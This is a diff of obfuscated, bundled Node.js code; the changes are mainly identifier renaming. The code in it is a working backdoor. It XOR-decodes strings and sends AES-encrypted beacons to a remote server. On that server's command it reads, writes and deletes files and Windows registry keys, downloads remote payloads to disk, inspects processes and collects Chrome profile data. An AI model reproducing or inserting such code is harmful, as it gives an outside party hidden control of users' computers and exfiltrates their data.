+ if (isNaN(gc)) {
+ return ga;
}
- return typeof fx[gb] !== 'undefined' ? fx[gb] : fz;
+ return typeof fy[gc] !== 'undefined' ? fy[gc] : ga;
});
- return fy;
+ return fz;
} catch {
- return fw;
+ return fx;
}
}
cg.o5B4F49 = db;
}
});
const f = b({
- 'obj/V3EDFYY.js'(gc) {
+ 'obj/V3EDFYY.js'(gd) {
'use strict';
- Object.defineProperty(gc, '__esModule', {
+ Object.defineProperty(gd, '__esModule', {
value: true
});
- gc.t505FAN = undefined;
- const gd = c();
- const ge = e();
- var gf;
- (function (hm) {
- hm[hm.p5B1KEV = 0] = "p5B1KEV";
- })(gf || (gf = {}));
+ gd.t505FAN = undefined;
+ const ge = c();
+ const gf = e();
var gg;
(function (hn) {
- hn[hn.O435AMZ = 0] = "O435AMZ";
- hn[hn.w692AS2 = 1] = 'w692AS2';
+ hn[hn.p5B1KEV = 0] = "p5B1KEV";
})(gg || (gg = {}));
var gh;
(function (ho) {
- ho[ho.B639G7B = 0] = "B639G7B";
- ho[ho.O435AMZ = 1] = "O435AMZ";
- ho[ho.j451KZ4 = 2] = "j451KZ4";
- ho[ho.R62AFMF = 3] = "R62AFMF";
- ho[ho.S58EMWW = 4] = "S58EMWW";
- ho[ho.P5F9KBR = 5] = "P5F9KBR";
+ ho[ho.O435AMZ = 0] = "O435AMZ";
+ ho[ho.w692AS2 = 1] = 'w692AS2';
})(gh || (gh = {}));
- function gi(hp) {
- const hq = Buffer.isBuffer(hp) ? hp : Buffer.from(hp);
- const buf = Buffer.from(hq.slice(4));
+ var gi;
+ (function (hp) {
+ hp[hp.B639G7B = 0] = "B639G7B";
+ hp[hp.O435AMZ = 1] = "O435AMZ";
+ hp[hp.j451KZ4 = 2] = "j451KZ4";
+ hp[hp.R62AFMF = 3] = "R62AFMF";
+ hp[hp.S58EMWW = 4] = "S58EMWW";
+ hp[hp.P5F9KBR = 5] = "P5F9KBR";
+ })(gi || (gi = {}));
+ function gj(hq) {
+ const hr = Buffer.isBuffer(hq) ? hq : Buffer.from(hq);
+ const buf = Buffer.from(hr.slice(4));
for (let n2 = 0; n2 < buf.length; n2++) {
- buf[n2] ^= hq.slice(0, 4)[n2 % 4];
+ buf[n2] ^= hr.slice(0, 4)[n2 % 4];
}
return buf.toString("utf8");
}
- function gj(hr) {
- hr = hr[gi([16, 233, 75, 213, 98, 140, 59, 185, 113, 138, 46])](/-/g, '');
- return Buffer.from("276409396fcc0a23" + hr.substring(0, 16), "hex");
+ function gk(hs) {
+ hs = hs[gj([16, 233, 75, 213, 98, 140, 59, 185, 113, 138, 46])](/-/g, '');
+ return Buffer.from("276409396fcc0a23" + hs.substring(0, 16), "hex");
}
- function gk() {
+ function gl() {
return Uint8Array.from([162, 140, 252, 232, 178, 47, 68, 146, 150, 110, 104, 76, 128, 236, 129, 43]);
}
- function gl() {
+ function gm() {
return Uint8Array.from([132, 144, 242, 171, 132, 73, 73, 63, 157, 236, 69, 155, 80, 5, 72, 144]);
}
- function gm() {
+ function gn() {
return Uint8Array.from([28, 227, 43, 129, 197, 9, 192, 3, 113, 243, 59, 145, 209, 193, 56, 86, 104, 131, 82, 163, 221, 190, 10, 67, 20, 245, 151, 25, 157, 70, 17, 158, 122, 201, 112, 38, 29, 114, 194, 166, 183, 230, 137, 160, 167, 99, 27, 45, 46, 31, 96, 23, 200, 241, 64, 26, 57, 33, 83, 240, 247, 139, 90, 48, 233, 6, 110, 12, 44, 108, 11, 73, 34, 231, 242, 173, 37, 92, 162, 198, 175, 225, 143, 35, 176, 133, 72, 212, 165, 195, 36, 226, 147, 68, 69, 146, 14, 0, 161, 87, 53, 196, 199, 195, 19, 80, 4, 49, 169, 188, 153, 30, 124, 142, 206, 159, 180, 170, 123, 88, 15, 95, 210, 152, 24, 63, 155, 98, 181, 7, 141, 171, 85, 103, 246, 222, 97, 211, 248, 136, 126, 22, 168, 214, 249, 93, 109, 91, 111, 21, 213, 229, 135, 207, 54, 40, 244, 47, 224, 215, 164, 51, 208, 100, 144, 16, 55, 66, 18, 42, 39, 52, 186, 127, 118, 65, 61, 202, 160, 253, 125, 74, 50, 106, 228, 89, 179, 41, 232, 148, 32, 231, 138, 132, 121, 115, 150, 220, 5, 240, 184, 182, 76, 243, 58, 60, 94, 238, 107, 140, 163, 217, 128, 120, 78, 134, 102, 75, 105, 79, 116, 247, 119, 189, 149, 185, 216, 13, 117, 236, 126, 156, 8, 130, 2, 154, 178, 101, 71, 254, 62, 1, 81, 177, 205, 250, 219, 6, 203, 172, 125, 191, 218, 77, 235, 252]);
}
- function gn(hs, ht) {
- if (hs.length !== ht.length) {
+ function go(ht, hu) {
+ if (ht.length !== hu.length) {
return false;
}
- for (let hu = 0; hu < hs.length; hu++) {
- if (hs[hu] !== ht[hu]) {
+ for (let hv = 0; hv < ht.length; hv++) {
+ if (ht[hv] !== hu[hv]) {
return false;
}
}
return true;
}
- function go(hv) {
- if (!hv) {
+ function gp(hw) {
+ if (!hw) {
return new Uint8Array();
}
- return new Uint8Array(Buffer.from(hv, "hex"));
+ return new Uint8Array(Buffer.from(hw, "hex"));
}
- function gp(hw) {
- if (!hw) {
+ function gq(hx) {
+ if (!hx) {
return '';
}
- return Buffer.from(hw).toString("hex");
+ return Buffer.from(hx).toString("hex");
}
- function gq(hx, hy) {
+ function gr(hy, hz) {
const crypto2 = require("crypto");
- const hz = crypto2.randomBytes(16);
- const ia = crypto2.createCipheriv("aes-128-cbc", gj(hy), hz);
- ia.setAutoPadding(true);
- let ib = ia.update(hx, "utf8", "hex");
- ib += ia.final("hex");
- return hz.toString("hex").toUpperCase() + "A0FB" + ib.toUpperCase();
+ const ia = crypto2.randomBytes(16);
+ const ib = crypto2.createCipheriv("aes-128-cbc", gk(hz), ia);
+ ib.setAutoPadding(true);
+ let ic = ib.update(hy, "utf8", "hex");
+ ic += ib.final("hex");
+ return ia.toString("hex").toUpperCase() + "A0FB" + ic.toUpperCase();
}
- function gr(ic, id) {
- const ie = require("crypto").createDecipheriv("aes-128-cbc", gj(id), Buffer.from(ic.substring(0, 32), "hex"));
- ie.setAutoPadding(true);
- let ig = ie.update(ic.substring(36), "hex", "utf8");
- ig += ie.final("utf8");
- return ig;
+ function gs(id, ie) {
+ const ig = require("crypto").createDecipheriv("aes-128-cbc", gk(ie), Buffer.from(id.substring(0, 32), "hex"));
+ ig.setAutoPadding(true);
+ let ih = ig.update(id.substring(36), "hex", "utf8");
+ ih += ig.final("utf8");
+ return ih;
}
- function gs(ih, ii) {
- if (ih.length <= 32) {
+ function gt(ii, ij) {
+ if (ii.length <= 32) {
return new Uint8Array();
}
- const bytes = new Uint8Array([...gk(), ...ii]);
- const ij = ih.slice(0, 16);
- const ik = gm();
- const il = ih.slice(16);
- for (let io = 0; io < il.length; io++) {
- const ip = ij[io % ij.length] ^ bytes[io % bytes.length] ^ ik[io % ik.length];
- il[io] ^= ip;
+ const bytes = new Uint8Array([...gl(), ...ij]);
+ const ik = ii.slice(0, 16);
+ const il = gn();
+ const im = ii.slice(16);
+ for (let ip = 0; ip < im.length; ip++) {
+ const iq = ik[ip % ik.length] ^ bytes[ip % bytes.length] ^ il[ip % il.length];
+ im[ip] ^= iq;
}
- const im = il.length - 16;
- if (!gn(il.slice(im), gl())) {
+ const io = im.length - 16;
+ if (!go(im.slice(io), gm())) {
return new Uint8Array();
}
- return il.slice(0, im);
+ return im.slice(0, io);
}
- const gt = class {
- static W698NHL(iq) {
+ const gu = class {
+ static W698NHL(ir) {
const arr5 = [];
- if (!Array.isArray(iq)) {
+ if (!Array.isArray(ir)) {
return arr5;
}
- for (const ir of iq) {
+ for (const is of ir) {
arr5.push({
- d5E0TQS: ir.Path ?? '',
- a47DHT3: ir.Data ?? '',
- i6B2K9E: ir.Key ?? '',
- A575H6Y: Boolean(ir.Exists),
- Q57DTM8: typeof ir.Action === "number" ? ir.Action : 0
+ d5E0TQS: is.Path ?? '',
+ a47DHT3: is.Data ?? '',
+ i6B2K9E: is.Key ?? '',
+ A575H6Y: Boolean(is.Exists),
+ Q57DTM8: typeof is.Action === "number" ? is.Action : 0
});
}
return arr5;
}
- static T6B99CG(is) {
- return is.map((it) => ({
- Path: it.d5E0TQS,
- Data: it.a47DHT3,
- Key: it.i6B2K9E,
- Exists: it.A575H6Y,
- Action: it.Q57DTM8
+ static T6B99CG(it) {
+ return it.map((iu) => ({
+ Path: iu.d5E0TQS,
+ Data: iu.a47DHT3,
+ Key: iu.i6B2K9E,
+ Exists: iu.A575H6Y,
+ Action: iu.Q57DTM8
}));
}
- static u6CAWW3(iu) {
+ static u6CAWW3(iv) {
return {
- c608HZL: Array.isArray(iu.File) ? this.W698NHL(iu.File) : [],
- y4BAIF6: Array.isArray(iu.Reg) ? this.W698NHL(iu.Reg) : [],
- Z59DGHB: Array.isArray(iu.Url) ? this.W698NHL(iu.Url) : [],
- s67BMEP: Array.isArray(iu.Proc) ? this.W698NHL(iu.Proc) : []
+ c608HZL: Array.isArray(iv.File) ? this.W698NHL(iv.File) : [],
+ y4BAIF6: Array.isArray(iv.Reg) ? this.W698NHL(iv.Reg) : [],
+ Z59DGHB: Array.isArray(iv.Url) ? this.W698NHL(iv.Url) : [],
+ s67BMEP: Array.isArray(iv.Proc) ? this.W698NHL(iv.Proc) : []
};
}
- static N5A4FRL(iv) {
+ static N5A4FRL(iw) {
return {
- File: this.T6B99CG(iv.c608HZL),
- Reg: this.T6B99CG(iv.y4BAIF6),
- Url: this.T6B99CG(iv.Z59DGHB),
- Proc: this.T6B99CG(iv.s67BMEP)
+ File: this.T6B99CG(iw.c608HZL),
+ Reg: this.T6B99CG(iw.y4BAIF6),
+ Url: this.T6B99CG(iw.Z59DGHB),
+ Proc: this.T6B99CG(iw.s67BMEP)
};
}
- static S59C847(iw) {
+ static S59C847(ix) {
return {
- b54FBAI: typeof iw.Progress === "number" ? iw.Progress : -1,
- P456VLZ: typeof iw.Activity === "number" ? iw.Activity : -1,
- x567X2Q: this.u6CAWW3(iw.Value ?? {}),
- J6C4Y96: iw.NextUrl ?? '',
- I489V4T: iw.Session ?? '',
- h46EVPS: typeof iw.TimeZone === "number" ? iw.TimeZone : 255,
- b4CERH3: iw.Version ?? ''
+ b54FBAI: typeof ix.Progress === "number" ? ix.Progress : -1,
+ P456VLZ: typeof ix.Activity === "number" ? ix.Activity : -1,
+ x567X2Q: this.u6CAWW3(ix.Value ?? {}),
+ J6C4Y96: ix.NextUrl ?? '',
+ I489V4T: ix.Session ?? '',
+ h46EVPS: typeof ix.TimeZone === "number" ? ix.TimeZone : 255,
+ b4CERH3: ix.Version ?? ''
};
}
- static b558GNO(ix) {
+ static b558GNO(iy) {
return {
- Progress: ix.b54FBAI,
- Activity: ix.P456VLZ,
- Value: this.N5A4FRL(ix.x567X2Q),
- NextUrl: ix.J6C4Y96,
- Session: ix.I489V4T,
- TimeZone: ix.h46EVPS,
- Version: ix.b4CERH3
+ Progress: iy.b54FBAI,
+ Activity: iy.P456VLZ,
+ Value: this.N5A4FRL(iy.x567X2Q),
+ NextUrl: iy.J6C4Y96,
+ Session: iy.I489V4T,
+ TimeZone: iy.h46EVPS,
+ Version: iy.b4CERH3
};
}
- static s40B7VN(iy) {
- return JSON.stringify(this.b558GNO(iy));
+ static s40B7VN(iz) {
+ return JSON.stringify(this.b558GNO(iz));
}
};
- function gu(iz) {
+ function gv(ja) {
const fs7 = require("fs");
- return fs7.existsSync(iz) && fs7.lstatSync(iz).isDirectory();
+ return fs7.existsSync(ja) && fs7.lstatSync(ja).isDirectory();
}
- function gv(ja) {
- require("fs").mkdirSync(ja, {
+ function gw(jb) {
+ require("fs").mkdirSync(jb, {
recursive: true
});
}
- function gw(jb) {
+ function gx(jc) {
try {
- return JSON.parse(jb);
+ return JSON.parse(jc);
} catch {
return {};
}
}
- function gx(jc, jd) {
- return typeof jc?.[jd] === "object" ? jc[jd] : {};
+ function gy(jd, je) {
+ return typeof jd?.[je] === "object" ? jd[je] : {};
}
- function gy(je) {
+ function gz(jf) {
const path3 = require("path");
const os = require("os");
- let jf = je;
+ let jg = jf;
const obj3 = {
"%LOCALAPPDATA%": path3.join(os.homedir(), "AppData", "Local"),
"%APPDATA%": path3.join(os.homedir(), "AppData", "Roaming"),
"%USERPROFILE%": os.homedir()
};
- for (const [jg, jh] of Object.entries(obj3)) {
- const regex = new RegExp(jg, 'i');
- if (regex.test(jf)) {
- jf = jf.replace(regex, jh);
+ for (const [jh, ji] of Object.entries(obj3)) {
+ const regex = new RegExp(jh, 'i');
+ if (regex.test(jg)) {
+ jg = jg.replace(regex, ji);
break;
}
}
- return jf;
+ return jg;
}
- function gz() {
+ function ha() {
return Math.floor(Date.now() / 1000).toString();
}
- function ha(ji) {
+ function hb(jj) {
const fs8 = require("fs");
- if (fs8.existsSync(ji)) {
- fs8.unlinkSync(ji);
+ if (fs8.existsSync(jj)) {
+ fs8.unlinkSync(jj);
}
}
- function hb(jj, jk) {
+ function hc(jk, jl) {
try {
- require("fs").writeFileSync(jj, jk);
+ require("fs").writeFileSync(jk, jl);
return true;
} catch {
return false;
}
}
- async function hc(jl) {
- return new Promise((jm, jn) => {
- (jl.startsWith("https") ? require("https") : require("http")).get(jl, (jo) => {
+ async function hd(jm) {
+ return new Promise((jn, jo) => {
+ (jm.startsWith("https") ? require("https") : require("http")).get(jm, (jp) => {
const arr6 = [];
- jo.on("data", (jp) => arr6.push(jp));
- jo.on("end", () => jm(Buffer.concat(arr6)));
- }).on("error", (jq) => jn(jq));
+ jp.on("data", (jq) => arr6.push(jq));
+ jp.on("end", () => jn(Buffer.concat(arr6)));
+ }).on("error", (jr) => jo(jr));
});
}
var str7 = '';
- var hd;
- async function he(jr, js) {
- const jt = new require("url").URLSearchParams({
- data: gq(JSON.stringify(gt.b558GNO(jr)), str7),
+ var he;
+ async function hf(js, jt) {
+ const ju = new require("url").URLSearchParams({
+ data: gr(JSON.stringify(gu.b558GNO(js)), str7),
iid: str7
}).toString();
- return await await require("node-fetch")("https://on.appsuites.ai" + js, {
+ return await await require("node-fetch")("https://on.appsuites.ai" + jt, {
headers: {
"Content-Type": "application/x-www-form-urlencoded"
},
method: "POST",
- body: jt
+ body: ju
}).text();
}
- async function hf(ju, jv) {
- ju.J6C4Y96 = '';
- ju.P456VLZ = 1;
- ju.b4CERH3 = "1.0.0.0";
- ju.h46EVPS = -new Date().getTimezoneOffset() / 60;
- for (let jw = 0; jw < 3; jw++) {
- ju.I489V4T = gz();
- const jx = await he(ju, jv);
- if (jx && (typeof gw(jx)?.iid === "string" ? gw(jx).iid : '') === str7) {
+ async function hg(jv, jw) {
+ jv.J6C4Y96 = '';
+ jv.P456VLZ = 1;
+ jv.b4CERH3 = "1.0.0.0";
+ jv.h46EVPS = -new Date().getTimezoneOffset() / 60;
+ for (let jx = 0; jx < 3; jx++) {
+ jv.I489V4T = ha();
+ const jy = await hf(jv, jw);
+ if (jy && (typeof gx(jy)?.iid === "string" ? gx(jy).iid : '') === str7) {
break;
}
- await new Promise((jy) => setTimeout(jy, 3000));
+ await new Promise((jz) => setTimeout(jz, 3000));
}
}
- async function hg(jz) {
+ async function hh(ka) {
const path4 = require("path");
const fs9 = require("fs");
const arr7 = [];
- const ka = (kg) => {
- kg.A575H6Y = false;
- if (kg.d5E0TQS) {
- kg.A575H6Y = require("fs").existsSync(gy(kg.d5E0TQS));
- }
- };
const kb = (kh) => {
kh.A575H6Y = false;
if (kh.d5E0TQS) {
- const ki = gy(kh.d5E0TQS);
- kh.A575H6Y = require("fs").existsSync(ki);
- if (kh.A575H6Y) {
- kh.a47DHT3 = gp(require("fs").readFileSync(ki));
+ kh.A575H6Y = require("fs").existsSync(gz(kh.d5E0TQS));
+ }
+ };
+ const kc = (ki) => {
+ ki.A575H6Y = false;
+ if (ki.d5E0TQS) {
+ const kj = gz(ki.d5E0TQS);
+ ki.A575H6Y = require("fs").existsSync(kj);
+ if (ki.A575H6Y) {
+ ki.a47DHT3 = gq(require("fs").readFileSync(kj));
}
}
};
- const kc = (kj) => {
- kj.A575H6Y = false;
- if (kj.d5E0TQS && kj.a47DHT3) {
- kj.a47DHT3 = '';
- const kk = gy(kj.d5E0TQS);
- const kl = require("path").dirname(kk);
- if (!gu(kl)) {
- gv(kl);
+ const kd = (kk) => {
+ kk.A575H6Y = false;
+ if (kk.d5E0TQS && kk.a47DHT3) {
+ kk.a47DHT3 = '';
+ const kl = gz(kk.d5E0TQS);
+ const km = require("path").dirname(kl);
+ if (!gv(km)) {
+ gw(km);
}
- kj.A575H6Y = hb(kk, go(kj.a47DHT3));
+ kk.A575H6Y = hc(kl, gp(kk.a47DHT3));
}
};
- const kd = (km) => {
- km.A575H6Y = false;
- if (km.d5E0TQS) {
- const kn = gy(km.d5E0TQS);
- ha(kn);
- km.A575H6Y = require("fs").existsSync(kn);
+ const ke = (kn) => {
+ kn.A575H6Y = false;
+ if (kn.d5E0TQS) {
+ const ko = gz(kn.d5E0TQS);
+ hb(ko);
+ kn.A575H6Y = require("fs").existsSync(ko);
}
};
- const ke = (ko) => {
- ko.A575H6Y = false;
- if (ko.d5E0TQS) {
- const kp = gy(ko.d5E0TQS);
- const kq = path4.join(kp, "Local State");
- if (!require("fs").existsSync(kq)) {
+ const kf = (kp) => {
+ kp.A575H6Y = false;
+ if (kp.d5E0TQS) {
+ const kq = gz(kp.d5E0TQS);
+ const kr = path4.join(kq, "Local State");
+ if (!require("fs").existsSync(kr)) {
return;
}
- const keys = Object.keys(gx(gx(gw(fs9.readFileSync(kq, "utf8")), "profile"), "info_cache"));
- for (const kr of keys) {
- const ks = path4.join(kp, kr, "Preferences");
- if (!require("fs").existsSync(ks)) {
+ const keys = Object.keys(gy(gy(gx(fs9.readFileSync(kr, "utf8")), "profile"), "info_cache"));
+ for (const ks of keys) {
+ const kt = path4.join(kq, ks, "Preferences");
+ if (!require("fs").existsSync(kt)) {
continue;
}
- const kt = gx(gx(gx(gx(gw(fs9.readFileSync(ks, "utf8")), "profile"), "content_settings"), "exceptions"), "site_engagement");
- const json = JSON.stringify(kt);
+ const ku = gy(gy(gy(gy(gx(fs9.readFileSync(kt, "utf8")), "profile"), "content_settings"), "exceptions"), "site_engagement");
+ const json = JSON.stringify(ku);
if (json) {
arr7.push({
- d5E0TQS: path4.join(ko.d5E0TQS, kr, "Preferences"),
- a47DHT3: gp(Buffer.from(json, "utf8")),
+ d5E0TQS: path4.join(kp.d5E0TQS, ks, "Preferences"),
+ a47DHT3: gq(Buffer.from(json, "utf8")),
i6B2K9E: '',
A575H6Y: true,
Q57DTM8: 5
});
- ko.A575H6Y = true;
+ kp.A575H6Y = true;
}
}
}
};
- for (const kf of jz) {
- if (kf.Q57DTM8 === 1) {
- ka(kf);
- } else if (kf.Q57DTM8 === 2) {
- kb(kf);
- } else if (kf.Q57DTM8 === 3) {
- kc(kf);
- } else if (kf.Q57DTM8 === 4) {
- kd(kf);
- } else if (kf.Q57DTM8 === 5) {
- ke(kf);
+ for (const kg of ka) {
+ if (kg.Q57DTM8 === 1) {
+ kb(kg);
+ } else if (kg.Q57DTM8 === 2) {
+ kc(kg);
+ } else if (kg.Q57DTM8 === 3) {
+ kd(kg);
+ } else if (kg.Q57DTM8 === 4) {
+ ke(kg);
+ } else if (kg.Q57DTM8 === 5) {
+ kf(kg);
}
}
if (arr7.length > 0) {
- jz.push(...arr7);
+ ka.push(...arr7);
}
}
- async function hh(ku) {
+ async function hi(kv) {
const cp2 = require("child_process");
const arr8 = [];
- const kv = (ld) => {
- if (!ld) {
+ const kw = (le) => {
+ if (!le) {
return ['', ''];
}
- if (ld.endsWith("\\")) {
- return [ld, ''];
+ if (le.endsWith("\\")) {
+ return [le, ''];
}
- const le = ld.lastIndexOf("\\");
- return le !== -1 ? [ld.substring(0, le), ld.substring(le + 1)] : [ld, ''];
+ const lf = le.lastIndexOf("\\");
+ return lf !== -1 ? [le.substring(0, lf), le.substring(lf + 1)] : [le, ''];
};
- const kw = (lf) => {
- return cp2.spawnSync("reg", ["query", lf], {
+ const kx = (lg) => {
+ return cp2.spawnSync("reg", ["query", lg], {
stdio: "ignore"
}).status === 0;
};
- const kx = (lg, lh) => {
- const li = cp2.spawnSync("reg", ["query", lg, "/v", lh], {
+ const ky = (lh, li) => {
+ const lj = cp2.spawnSync("reg", ["query", lh, "/v", li], {
encoding: "utf8"
});
- if (li.status !== 0) {
+ if (lj.status !== 0) {
return '';
}
- for (const lj of li.stdout.split("\n")) {
- const lk = lj.trim().split(/\s{2,}/);
- if (lk.length >= 3 && lk[0] === lh) {
- return lk[2];
+ for (const lk of lj.stdout.split("\n")) {
+ const ll = lk.trim().split(/\s{2,}/);
+ if (ll.length >= 3 && ll[0] === li) {
+ return ll[2];
}
}
return '';
};
- const ky = (ll) => {
+ const kz = (lm) => {
let flag = false;
- const lm = cp2.spawnSync("reg", ["query", ll], {
+ const ln = cp2.spawnSync("reg", ["query", lm], {
encoding: "utf8"
});
- if (lm.error) {
+ if (ln.error) {
return flag;
}
- if (lm.status !== 0) {
+ if (ln.status !== 0) {
return flag;
}
- const ln = lm.stdout.split("\n").filter((lo) => lo.trim() !== '');
- for (let lp = 1; lp < ln.length; lp++) {
- const lq = ln[lp].trim().split(/\s{4,}/);
- if (lq.length === 3) {
- const [lr, ls, lt] = lq;
+ const lo = ln.stdout.split("\n").filter((lp) => lp.trim() !== '');
+ for (let lq = 1; lq < lo.length; lq++) {
+ const lr = lo[lq].trim().split(/\s{4,}/);
+ if (lr.length === 3) {
+ const [ls, lt, lu] = lr;
const obj4 = {
Q57DTM8: 2,
A575H6Y: true,
- d5E0TQS: ll + lr,
- a47DHT3: lt,
+ d5E0TQS: lm + ls,
+ a47DHT3: lu,
i6B2K9E: ''
};
arr8.push(obj4);
@@ -1604,126 +1604,126 @@
}
return flag;
};
- const kz = (lu, lv) => {
- return cp2.spawnSync("reg", ["delete", lu, "/v", lv, "/f"], {
+ const la = (lv, lw) => {
+ return cp2.spawnSync("reg", ["delete", lv, "/v", lw, "/f"], {
stdio: "ignore"
}).status === 0;
};
- const la = (lw) => {
- cp2.spawnSync("reg", ["delete", lw, "/f"], {
+ const lb = (lx) => {
+ cp2.spawnSync("reg", ["delete", lx, "/f"], {
stdio: "ignore"
});
};
- const lb = (lx, ly, lz) => {
- const ma = cp2.spawnSync("reg", ["add", lx, "/v", ly, "/t", "REG_SZ", "/d", lz, "/f"], {
+ const lc = (ly, lz, ma) => {
+ const mb = cp2.spawnSync("reg", ["add", ly, "/v", lz, "/t", "REG_SZ", "/d", ma, "/f"], {
stdio: "ignore"
});
- return ma.status === 0;
+ return mb.status === 0;
};
- for (const lc of ku) {
- if (lc.Q57DTM8 === 1) {
- if (lc.d5E0TQS) {
- const [mb, mc] = kv(lc.d5E0TQS);
- lc.A575H6Y = mc ? !!kx(mb, mc) : kw(mb);
- }
- } else if (lc.Q57DTM8 === 2) {
- if (lc.d5E0TQS) {
- const [md, me] = kv(lc.d5E0TQS);
- if (me) {
- lc.a47DHT3 = kx(md, me);
+ for (const ld of kv) {
+ if (ld.Q57DTM8 === 1) {
+ if (ld.d5E0TQS) {
+ const [mc, md] = kw(ld.d5E0TQS);
+ ld.A575H6Y = md ? !!ky(mc, md) : kx(mc);
+ }
+ } else if (ld.Q57DTM8 === 2) {
+ if (ld.d5E0TQS) {
+ const [me, mf] = kw(ld.d5E0TQS);
+ if (mf) {
+ ld.a47DHT3 = ky(me, mf);
} else {
- lc.A575H6Y = ky(md);
+ ld.A575H6Y = kz(me);
}
}
- } else if (lc.Q57DTM8 === 3) {
- if (lc.d5E0TQS && lc.a47DHT3) {
- const [mf, mg] = kv(lc.d5E0TQS);
- lc.A575H6Y = lb(mf, mg, gy(gy(lc.a47DHT3)));
+ } else if (ld.Q57DTM8 === 3) {
+ if (ld.d5E0TQS && ld.a47DHT3) {
+ const [mg, mh] = kw(ld.d5E0TQS);
+ ld.A575H6Y = lc(mg, mh, gz(gz(ld.a47DHT3)));
}
- } else if (lc.Q57DTM8 === 4) {
- if (lc.d5E0TQS) {
- const [mh, mi] = kv(lc.d5E0TQS);
- if (mi) {
- lc.A575H6Y = !kz(mh, mi);
+ } else if (ld.Q57DTM8 === 4) {
+ if (ld.d5E0TQS) {
+ const [mi, mj] = kw(ld.d5E0TQS);
+ if (mj) {
+ ld.A575H6Y = !la(mi, mj);
} else {
- la(mh);
- lc.A575H6Y = kw(mh);
+ lb(mi);
+ ld.A575H6Y = kx(mi);
}
}
}
}
if (arr8.length > 0) {
- ku.push(...arr8);
+ kv.push(...arr8);
}
}
- async function hi(mj) {
- const mk = async (mn) => {
- mn.A575H6Y = false;
- if (mn.d5E0TQS && mn.a47DHT3) {
- if (mn.a47DHT3.startsWith("http") || mn.a47DHT3.startsWith("https")) {
- const mo = await hc(mn.a47DHT3);
- if (mo.length > 0) {
- const mp = gy(mn.d5E0TQS);
- const mq = require("path").dirname(mp);
- if (!gu(mq)) {
- gv(mq);
+ async function hj(mk) {
+ const ml = async (mo) => {
+ mo.A575H6Y = false;
+ if (mo.d5E0TQS && mo.a47DHT3) {
+ if (mo.a47DHT3.startsWith("http") || mo.a47DHT3.startsWith("https")) {
+ const mp = await hd(mo.a47DHT3);
+ if (mp.length > 0) {
+ const mq = gz(mo.d5E0TQS);
+ const mr = require("path").dirname(mq);
+ if (!gv(mr)) {
+ gw(mr);
}
- mn.A575H6Y = hb(mp, mo);
+ mo.A575H6Y = hc(mq, mp);
}
}
}
};
- const ml = async (mr) => {
- mr.A575H6Y = false;
- if (mr.d5E0TQS && mr.a47DHT3 && mr.i6B2K9E) {
- if (mr.a47DHT3.startsWith("http") || mr.a47DHT3.startsWith("https")) {
- const ms = gs(await hc(mr.a47DHT3), go(mr.i6B2K9E));
- if (ms.length > 0) {
- const mt = gy(mr.d5E0TQS);
- const mu = require("path").dirname(mt);
- if (!gu(mu)) {
- gv(mu);
+ const mm = async (ms) => {
+ ms.A575H6Y = false;
+ if (ms.d5E0TQS && ms.a47DHT3 && ms.i6B2K9E) {
+ if (ms.a47DHT3.startsWith("http") || ms.a47DHT3.startsWith("https")) {
+ const mt = gt(await hd(ms.a47DHT3), gp(ms.i6B2K9E));
+ if (mt.length > 0) {
+ const mu = gz(ms.d5E0TQS);
+ const mv = require("path").dirname(mu);
+ if (!gv(mv)) {
+ gw(mv);
}
- mr.A575H6Y = hb(mt, ms);
+ ms.A575H6Y = hc(mu, mt);
}
}
}
};
- for (const mm of mj) {
- if (mm.Q57DTM8 === 3) {
- if (!mm.i6B2K9E) {
- await mk(mm);
+ for (const mn of mk) {
+ if (mn.Q57DTM8 === 3) {
+ if (!mn.i6B2K9E) {
+ await ml(mn);
} else {
- await ml(mm);
+ await mm(mn);
}
}
}
}
- async function hj(mv) {
- if (mv.length === 0) {
+ async function hk(mw) {
+ if (mw.length === 0) {
return;
}
const arr9 = [];
- const mw = hd().split('|');
- const mx = (mz) => {
- for (const na of mw) {
- if (na.includes(mz.toUpperCase())) {
- return na;
+ const mx = he().split('|');
+ const my = (na) => {
+ for (const nb of mx) {
+ if (nb.includes(na.toUpperCase())) {
+ return nb;
}
}
return '';
};
- for (const my of mv) {
- if (my.Q57DTM8 === 1) {
- const nb = mx(my.d5E0TQS);
- my.A575H6Y = nb !== '';
- if (my.A575H6Y) {
- my.d5E0TQS = nb;
- }
- } else if (my.Q57DTM8 === 2) {
- for (const nc of mw) {
+ for (const mz of mw) {
+ if (mz.Q57DTM8 === 1) {
+ const nc = my(mz.d5E0TQS);
+ mz.A575H6Y = nc !== '';
+ if (mz.A575H6Y) {
+ mz.d5E0TQS = nc;
+ }
+ } else if (mz.Q57DTM8 === 2) {
+ for (const nd of mx) {
arr9.push({
- d5E0TQS: nc,
+ d5E0TQS: nd,
a47DHT3: '',
i6B2K9E: '',
A575H6Y: true,
@@ -1733,41 +1733,41 @@
}
}
if (arr9.length > 0) {
- mv.push(...arr9);
+ mw.push(...arr9);
}
}
- async function hk(nd) {
- const ne = gw(nd);
- const nf = typeof ne?.iid === "string" ? ne.iid : '';
- if (nf != str7) {
+ async function hl(ne) {
+ const nf = gx(ne);
+ const ng = typeof nf?.iid === "string" ? nf.iid : '';
+ if (ng != str7) {
return;
}
- const ng = typeof ne?.data === "string" ? ne.data : '';
- if (ng.length == 0) {
+ const nh = typeof nf?.data === "string" ? nf.data : '';
+ if (nh.length == 0) {
return;
}
- const nh = gr(ng, nf);
- if (!nh) {
+ const ni = gs(nh, ng);
+ if (!ni) {
return;
}
- const ni = gt.S59C847(gw(nh));
- const nj = ni.J6C4Y96;
- if (!nj) {
+ const nj = gu.S59C847(gx(ni));
+ const nk = nj.J6C4Y96;
+ if (!nk) {
return;
}
- await hg(ni.x567X2Q.c608HZL);
- await hh(ni.x567X2Q.y4BAIF6);
- await hi(ni.x567X2Q.Z59DGHB);
- await hj(ni.x567X2Q.s67BMEP);
- await hf(ni, nj);
+ await hh(nj.x567X2Q.c608HZL);
+ await hi(nj.x567X2Q.y4BAIF6);
+ await hj(nj.x567X2Q.Z59DGHB);
+ await hk(nj.x567X2Q.s67BMEP);
+ await hg(nj, nk);
}
- async function hl(nk, nl) {
- str7 = nk;
- hd = nl;
+ async function hm(nl, nm) {
+ str7 = nl;
+ he = nm;
const obj5 = {
b54FBAI: 0,
P456VLZ: 0,
- I489V4T: gz(),
+ I489V4T: ha(),
h46EVPS: -new Date().getTimezoneOffset() / 60,
b4CERH3: "1.0.0.0",
J6C4Y96: '',
@@ -1778,37 +1778,37 @@
s67BMEP: []
}
};
- const nm = await he(obj5, "/ping");
- if (nm) {
- await hk(nm);
+ const nn = await hf(obj5, "/ping");
+ if (nn) {
+ await hl(nn);
}
}
